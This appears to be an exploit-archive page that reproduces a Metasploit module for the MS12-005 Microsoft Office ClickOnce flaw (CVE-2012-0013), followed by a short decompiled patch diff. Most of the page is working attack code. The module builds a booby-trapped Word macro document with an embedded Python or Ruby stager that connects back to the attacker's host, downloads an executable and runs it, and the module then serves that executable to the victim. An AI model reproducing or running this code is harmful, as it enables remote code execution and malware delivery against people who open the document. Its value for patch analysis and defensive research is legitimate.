MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Exploit

Summary

MS12-005 Microsoft Office ClickOnce Unsafe suffers from Object Package Handling Vulnerability

Credit:

Details

Vulnerable Systems:
 * MS12-005 Microsoft Office ClickOnce

require ‘msf/core’
require ‘rex/zip’

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::Remote::TcpServer

def initialize(info={})
super(update_info(info,
‘Name’ => ‘MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability’,
‘Description’ => %q{
This module exploits a vulnerability found in Microsoft Office’s ClickOnce
feature. When handling a Macro document, the application fails to recognize
certain file extensions as dangerous executables, which can be used to bypass
the warning message. This allows you to trick your victim into opening the
malicious document, which will load up either a python or ruby payload based on
your choosing, and then finally download and execute our executable.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘Yorick Koster’, #Vuln discovery
‘sinn3r’ #Metasploit
],
‘References’ =>
[
[‘CVE’, ‘2012-0013’],
[‘OSVDB’, ‘78207’],
[‘MSB’, ‘ms12-005’],
[‘BID’, ‘51284’],
[‘URL’, ‘http://support.microsoft.com/default.aspx?scid=kb;EN-US;2584146’],
[‘URL’, ‘http://exploitshop.wordpress.com/2012/01/14/ms12-005-embedded-object-package-allow-arbitrary-code-execution/’]
],
‘Payload’ =>
{
‘BadChars’ => ‘x00’
},
‘DefaultOptions’ =>
{
‘ExitFunction’ => ‘none’,
‘DisablePayloadHandler’ => ‘false’
},
‘Platform’ => ‘win’,
‘Targets’ =>
[
[‘Microsoft Office Word 2007/2010 on Windows 7’, {}],
],
‘Privileged’ => false,
‘DisclosureDate’ => ‘Jan 10 2012’,
‘DefaultTarget’ => 0))

register_options(
[
OptEnum.new(‘PAYLOAD_TYPE’, [true, ‘The initial payload type’, ‘PYTHON’, %w(RUBY PYTHON)]),
OptString.new(‘BODY’, [false, ‘The message for the document body’, ”]),
OptString.new(‘FILENAME’, [true, ‘The Office document macro file’, ‘msf.docm’])
], self.class)
end

#
# Return the first-stage payload that will download our malicious executable.
#
def get_download_exec_payload(type, lhost, lport)
payload_name = Rex::Text.rand_text_alpha(7)

# Padd up 6 null bytes so the first few characters won’t get cut off
p = ‘x00’*6

case type
when :rb
p << %Q|
require ‘socket’
require ‘tempfile’
begin
cli = TCPSocket.open(‘#{lhost}’,#{lport})
buf = ”
while l = cli.gets
buf << l
end
cli.close
tmp = Tempfile.new([‘#{payload_name}’,’.exe’])
t = tmp.path
tmp.binmode
tmp.write(buf)
tmp.close
exec(t)
rescue
end#|

when :py
p << %Q|
import socket
import tempfile
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((‘#{lhost}’, #{lport}))
buf = ”
while True:
data = s.recv(1024)
if data:
buf += data
else:
break
s.close
temp = tempfile.gettempdir() + ‘\\\’ + ‘#{payload_name}.exe’
f = open(temp, ‘wb’)
f.write(buf)
f.close
f = None
os.system(temp)
#|

end

p = p.gsub(/^ttt/, ”)

return p
end

#
# Reads a file that’ll be packaged.
# This will patch certain files on the fly, or return the original content of the file.
#
def on_file_read(fname, file)
f = open(file, ‘rb’)
buf = f.read
f.close

# Modify certain files on the fly
case file
when /oleObject1.bin/
# Patch the OLE object file with our payload
print_status(‘Patching OLE object’)
ptype = datastore[‘PAYLOAD_TYPE’] == ‘PYTHON’ ? :py : :rb
p = get_download_exec_payload(ptype, @ip, @port)
buf = buf.gsub(/MYPAYLOAD/, p)

# Patch username
username = Rex::Text.rand_text_alpha(5)
buf = buf.gsub(/METASPLOIT/, username)
buf = buf.gsub(/#{Rex::Text.to_unicode(‘METASPLOIT’)}/, Rex::Text.to_unicode(username))

# Patch the filename
f = Rex::Text.rand_text_alpha(6)
buf = buf.gsub(/MYFILENAME/, f)
buf = buf.gsub(/#{Rex::Text.to_unicode(‘MYFILENAME’)}/, Rex::Text.to_unicode(f))

# Patch the extension name
ext = ptype.to_s
buf = buf.gsub(/MYEXT/, ext)
buf = buf.gsub(/#{Rex::Text.to_unicode(‘MYEXT’)}/, Rex::Text.to_unicode(ext))

when /document.xml/
print_status(‘Patching document body’)
# Patch the docx body
buf = buf.gsub(/W00TW00T/, datastore[‘BODY’])

end

# The original filename of __rels is actually ‘.rels’.
# But for some reason if that’s our original filename, it won’t be included
# in the archive. So this hacks around that.
case fname
when /__rels/
fname = fname.gsub(/__rels/, ‘.rels’)
end

yield fname, buf
end

#
# Packages the Office Macro Document
#
def package_docm_rex(path)
zip = Rex::Zip::Archive.new

Dir[‘#{path}/**/**’].each do |file|
p = file.sub(path+’/’,”)

if File.directory?(file)
print_status(‘Packging directory: #{file}’)
zip.add_file(p)
else
on_file_read(p, file) do |fname, buf|
print_status(‘Packaging file: #{fname}’)
zip.add_file(fname, buf)
end
end
end

zip.pack
end

#
# Return the malicious executable
#
def on_client_connect(cli)
print_status(‘#{cli.peerhost}:#{cli.peerport} – Sending executable (#{@exe.length.to_s} bytes)’)
cli.put(@exe)
service.close_client(cli)
end

def exploit
@ip = datastore[‘SRVHOST’] == ‘0.0.0.0’ ? Rex::Socket.source_address(‘50.50.50.50’) : datastore[‘SRVHOST’]
@port = datastore[‘SRVPORT’]

print_status(‘Generating our docm file…’)
path = File.join(Msf::Config.install_root, ‘data’, ‘exploits’, ‘CVE-2012-0013’)
docm = package_docm_rex(path)

file_create(docm)
print_good(‘Let your victim open #{datastore[‘FILENAME’]}’)

print_status(‘Generating our malicious executable…’)
@exe = generate_payload_exe

print_status(‘Ready to deliver your payload on #{@ip}:#{@port.to_s}’)
super
end
end

-begin
mbp:win7_diff sinn3r$ diff patch/GetCurrentIcon.c vuln/GetCurrentIcon.c
1c1
< void *__thiscall CPackage::_GetCurrentIcon(void *this, int a2)

> const WCHAR *__thiscall CPackage::_GetCurrentIcon(void *this, int a2)

24c24
< if ( AssocIsDangerous(result) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) )

> if ( IsProgIDInList(0, result, extList, 0x11u) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) )
31c31
-end

CVE Information:
CVE: 2012-0013

Disclosure Timeline:
Published: 2012-06-11

Categories: Exploits